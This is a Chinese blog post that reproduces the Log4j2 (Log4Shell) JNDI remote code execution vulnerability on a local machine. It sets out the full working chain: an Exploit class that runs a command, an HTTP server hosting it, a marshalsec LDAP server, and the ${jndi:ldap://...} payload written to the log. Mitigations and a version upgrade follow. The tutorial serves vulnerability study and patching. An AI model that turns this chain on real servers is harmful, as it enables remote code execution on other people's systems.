lo4j2 漏洞复现过程及解决方案

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 复现的具体流程:先写一段想要被远程执行的 java 代码,然后编译成 class 文件将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。启动 java 应用程序,利用 log4j2 写日志,日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。观察结果,看 class 文件中的程序逻辑有没有被执行。

复现漏洞


环境介绍


  • 操作系统:macos Catalina
  • jdk 版本:11.0.9.1
  • log4j2 版本:2.13.3(使用 springboot 2.3.2.RELEASE 间接依赖)


原理介绍


引用公众号:“小林 coding” 的一张图:


102.jpg


使用 log4j2 正常打日志的时候没事儿,比如:


logger.info("this is {}", "log4j2 demo");


但如果你的日志中包含 “${” 开头,“}” 结尾的内容就会被解析出来,单独处理。

而如果“${}” 所包裹的内容是类似这样的:

jndi:ldap://127.0.0.1:1389/#Exploit,则有可能触发这个漏洞。

复现具体流程是这样的:


  1. 先写一段想要被远程执行的 java 代码,然后编译成 class 文件


  1. 将 HTTP Server 启动,保证可以通过 Http Server 访问到这个 class 文件。


  1. 将 LDAP Server 启动,并将 Http Server 上的那个 class 文件注册上去。


  1. 启动 java 应用程序,利用 log4j2 写日志,日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。


  1. 观察结果,看 class 文件中的程序逻辑有没有被执行。


复现


<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.2.RELEASE</version>
        <relativePath/>
</parent>
...
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>


可以看到,我是通过 spring-boot-starter-log4j2 来间接引用的 log4j2 的。引入的具体包版本是这样的:


103.jpg


我们先写一段想要被执行的程序:


public class Exploit {
    public Exploit() {
        try {
            System.out.println("执行漏洞代码");
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
            System.out.println("完成执行漏洞代码");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit exploit = new Exploit();
    }
}


这段程序是打开我电脑上的计算器程序。


注意:这里的程序不要写 package 包名,我在这里浪费了不少时间,写包名可能会导致后面执行的时候报错。


然后我们找一个空目录,把 java 文件 copy 过去,接着编译它:


javac Exploit.java


接着我在当前目录下执行:


python -m SimpleHTTPServer 8800


目的是启动一个 HTTP Server, 当然你也可以用 nginx 或者 java 程序来做,只要能够充当 HTTP Server 的都可以。


启动后你可以在浏览器里验证一下:


104.jpg


再来我们在本地启动一个 LDAP Server。


https://github.com/mbechler/marshalsec 从这里下载代码然后执行打包编译:


mvn clean package -DskipTests


打包后,到 target 目录下执行:


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"


上面命令的目的是启动 LDAP Server,并且把我们的程序注册到 LDAP Server 上。具体来说是把带有 Http Server 地址(上面用 python 启动的 HTTP server)的 url 注册到 LDAP Server 上。


正常启动后 LDAP 会开始监1389 端口


105.jpg


最后我们编写记录日志程序:


private static final Logger logger = LogManager.getLogger(Log4jDemo.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");
        try {
            Thread.sleep(1000);
        } catch (Exception e) {
        }
    }


执行后效果:


106.jpg


可以看到,我的计算器被调起了。既然可以执行语句和代码逻辑,那么像 rm -rf删库 这种操作也可以执行的!


上面这段程序中,有一行代码要注意:


System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");


如果设置成 false 或者注释掉这行代码,则计算器都不会被调起,即攻击程序不会被执行。原因是 :


“Java 最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false,还对应的分配了一个漏洞编号 CVE-2018-3149”


那是不是意味着,高版本的 JDK 就不会有漏洞呢?


不是的,还是有办法攻击,不要抱有侥幸心理,具体可以参考:https://paper.seebug.org/942/#4-jdk-8u191


解决方案


改配置


网上常说的临时补救方案是修改配置如:


  1. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true


  1. 修改配置 log4j2.formatMsgNoLookups=True


  1. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

原理其实都一样,就是禁用 log4j2 的 lookup 。


升级版本


目前官方 2.15.0 版本已经修复了这个问题,可以升级这个版本,笔者利用上面的程序修改了版本号后,发现漏洞无法再复现了


<!-- 可以在这里修改 log4j 依赖版本-->
<log4j2.version>2.15.0</log4j2.version>


110.jpg


当然你也可以手动编译 log4j2 的源码,然后上传到自己的 maven 私服,再修改公共依赖升级版本。


注意编译 log4j2 源码时需要 1.9 以上版本的 jdk,因为它有这么个东西


107.jpg


相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
4月前
|
SQL 安全 网络协议
网络扫描与渗透测试基础
【7月更文挑战第12天】网络扫描与渗透测试是保障网络安全的重要手段,通过模拟黑客攻击的方式,发现潜在的安全漏洞,并提供修复建议,为系统安全保驾护航。在网络安全日益重要的今天,掌握网络扫描与渗透测试技术对于企业和组织来说至关重要。希望本文能够为读者提供有益的参考和借鉴。
|
数据采集 供应链 安全
供应链安全情报 | cURL最新远程堆溢出漏洞复现与修复建议
cURL紧急发布最新版本来修复前几日发现的高危安全漏洞,其中编号为CVE-2023-38545的漏洞是cURL客户端在处理SOCKS5协议时存在的堆内存溢出漏洞。
452 0
|
存储 设计模式 安全
渗透攻击实例-设计缺陷/逻辑错误
渗透攻击实例-设计缺陷/逻辑错误
|
安全 Java fastjson
Log4j2漏洞复现&原理&补丁绕过
Log4j2漏洞复现&原理&补丁绕过
|
XML Web App开发 安全
脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用
脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用
|
安全 Linux
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
729 0
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
|
存储 安全 网络协议
如何处理网络渗透测试结果
如何处理网络渗透测试结果
185 1
|
安全 Java Apache
Log4j2高危漏洞复现流程
Log4j2高危漏洞复现流程
329 0
Log4j2高危漏洞复现流程
|
SQL 安全 测试技术
网站漏洞渗透检测过程与修复方案
网站的渗透测试简单来 说就是模拟攻击者的手法以及攻击手段去测试网站的漏洞,对网站进行渗透攻击测试,对网站的代码漏洞进行挖掘,上传脚本文件获取网站的控 制权,并对测试出来的漏洞以及整体的网站检测出具详细的渗透测试安全报告。
265 0
网站漏洞渗透检测过程与修复方案
|
安全 数据库 数据安全/隐私保护
网站安全之逻辑漏洞检测 修复方案
网站安全是整个网站运营中最重要的一部分,网站没有了安全,那用户的隐私如何保障,在网站中进行的任何交易,支付,用户的注册信息都就没有了安全保障,所以网站安全做好了,才能更好的去运营一个网站,我们SINE安全在对客户进行网站安全部署与检测的同时,发现网站的业务逻辑漏洞很多,尤其暴利破解漏洞。
360 0
网站安全之逻辑漏洞检测 修复方案